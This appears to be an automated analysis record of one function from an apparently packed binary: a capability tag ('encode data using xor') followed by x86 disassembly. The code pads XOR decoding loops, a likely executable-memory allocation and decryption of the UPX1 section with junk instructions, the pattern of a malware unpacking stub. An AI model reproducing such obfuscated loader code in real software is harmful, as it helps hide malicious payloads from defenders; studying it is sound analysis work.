Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x54cfc414
and ecx, edi
not edi
not ecx
popal
mov edi, 0xfed89e4c
inc ecx
not edi
mov ecx, 0
mov edx, ebx
mov eax, 0x65ec4553
add eax, 0x23d8440
add eax, 0x2325cbbf
mov edi, edx
add eax, 0x462e40c4
not esi
sub eax, 0x3505ee5d
mov ebx, edi
add eax, 1
mov eax, esi
add esi, 0x1758347b
inc ecx
sub eax, 0x365d455a
add eax, 0xd247dc70
cmp ecx, 0x100a222
jne 0xa789c6
not eax
mov eax, esi
or ecx, ecx
inc edi
inc ecx
mov ebx, 0xa78796
mov edx, edi
or edi, esi
mov ecx, 0xa7898a
not edi
mov edx, 0xa2d2246d
mov eax, dword [ebx]
not edi
and edi, esi
and eax, 0xff
add esi, edi
mov edx, 0x9f81c1c4
mov edi, 0x2f50aa05
xor dword [ecx], eax
mov edx, edi
and edx, edi
inc ecx
mov esi, edi
sub esi, 0x25ef10bd
add ebx, 1
inc edi
inc edx
or edi, esi
cmp ecx, entry0
jl 0xa78a2f
sub edi, esi
inc edx
sub edi, esi
sub edi, 0x4cd03d22
dec esi
not edx
mov edx, 0x9898e2ad
add ebx, 1
mov edi, 0xa7898e
sub ecx, edx
mov ecx, 0x83c4cb2d
mov edi, dword [edi]
and ebx, esi
sub edx, 0x9d019b02
mov edi, dword [edi]
dec ecx
add ebx, 0xf6a67d65
mov esi, edx
sub esp, 4
mov dword [esp], edi
sub ecx, 0xbcf0e457
mov edx, esi
mov edi, 0xa7898a
and esi, esi
mov ebx, esi
mov edi, dword [edi]
mov esi, ebx
add edx, 0x96f167e3
mov edi, dword [edi]
add edx, 0x27fdf212
or edx, esi
sub esp, 4
mov dword [esp], 0xa78992
mov ecx, 0x123a9fb7
or esi, edx
add ecx, 1
call edi
sub ebx, ecx
inc edx
pop edi
add esi, esi
add edx, ebx
not edx
sub esp, 4
mov dword [esp], 0xa7899f
add esi, 1
add ecx, ecx
mov ecx, esi
push eax
and esi, edx
mov edx, 0xe35b7b3
not esi
call edi
sub ebx, edx
inc edx
push 0x40
inc ecx
or esi, esi
mov ebx, 0xa81a527b
sub esp, 4
mov dword [esp], 0x3000
sub edx, ecx
add esi, ebx
sub esp, 4
mov dword [esp], 0x2000019a
add ecx, edx
sub edx, ecx
push 0
not ecx
or edx, ecx
or ebx, ebx
call eax
add ecx, 0x9bde5dd0
add ecx, 0x28ca0671
add ecx, 0x7d61d3
add eax, 0x20000113
add esi, ebx
add ecx, edx
mov edi, 0xaaf6a8c0
sub ebx, 0x50dec521
and edx, ebx
mov dword [eax], edi
add ebx, edx
dec edx
inc esi
mov edi, dword [eax]
mov esi, ecx
and edx, ebx
cmp edi, 0xaaf6a8c0
je 0xa78b91
mov ebx, 0
mov edx, dword [ebx]
mov ebx, esi
sub ecx, 0x4b0113b1
inc ebx
inc ebx
or ecx, ebx
mov edx, ebx
sub edi, 1
or edi, edi
mov esi, section.UPX1
and edi, ecx
mov ecx, edi
add ecx, 0x6c87fe12
mov eax, 0xa78795
not ecx
dec ecx
inc ecx
mov ebx, 0
mov edi, ecx
inc edi
mov edx, 0xa78796
not ecx
or edi, ecx
lea edx, [ebx + edx]
or edi, ecx
dec edi
mov edx, dword [edx]
or edi, edi
not ecx
and edx, 0xff
dec ecx
sub edi, ecx
add edi, edi
inc ebx
dec ecx
sub edi, ecx
add ecx, edi
cmp ebx, 0x1f4
jne 0xa78bfa
mov ebx, 0
not edi
dec edi
mov ecx, 0xd30fc598
add edi, 0x429e7d61
add edi, 0x98341a21
xor dword [esi], edx
add edi, edi
sub ecx, edi
add esi, 2
or ecx, edi
or edi, ecx
dec edi
cmp esi, eax
jl 0xa78bc7
add edi, 0x4343319
add edi, 0x76189cfa
sub edi, ecx
mov edi, ecx
sub edi, ecx
mov eax, section.UPX1
and edx, esi
or esi, edx
or esi, esi
mov edi, section.UPX1
sub edx, esi
sub esi, 1
or edx, esi
mov ebx, 0xa78795
not esi
and edx, edx
mov ecx, 0
add edx, esi
add esi, 1
add edx, 0xf7ede6c8
mov cl, byte [edi]
not edx
sub edx, esi
sub esi, 0xfdf76e85
mov byte [eax], cl
add esi, 0x73688c07
sub edx, 0xa4eaad08
sub esi, 1
add eax, 1
sub esi, 0x11d36990
mov esi, edx
inc esi
add edi, 2
not esi
or edx, edx
cmp edi, ebx
jle 0xa78c6f
sub edx, 1
mov esi, 0xb76eb112
inc edx
mov ecx, edi
dec edi
or edi, ecx
push 0x8dc6a0
dec edi
add ecx, 0x8c1fd792
mov ecx, edi
ret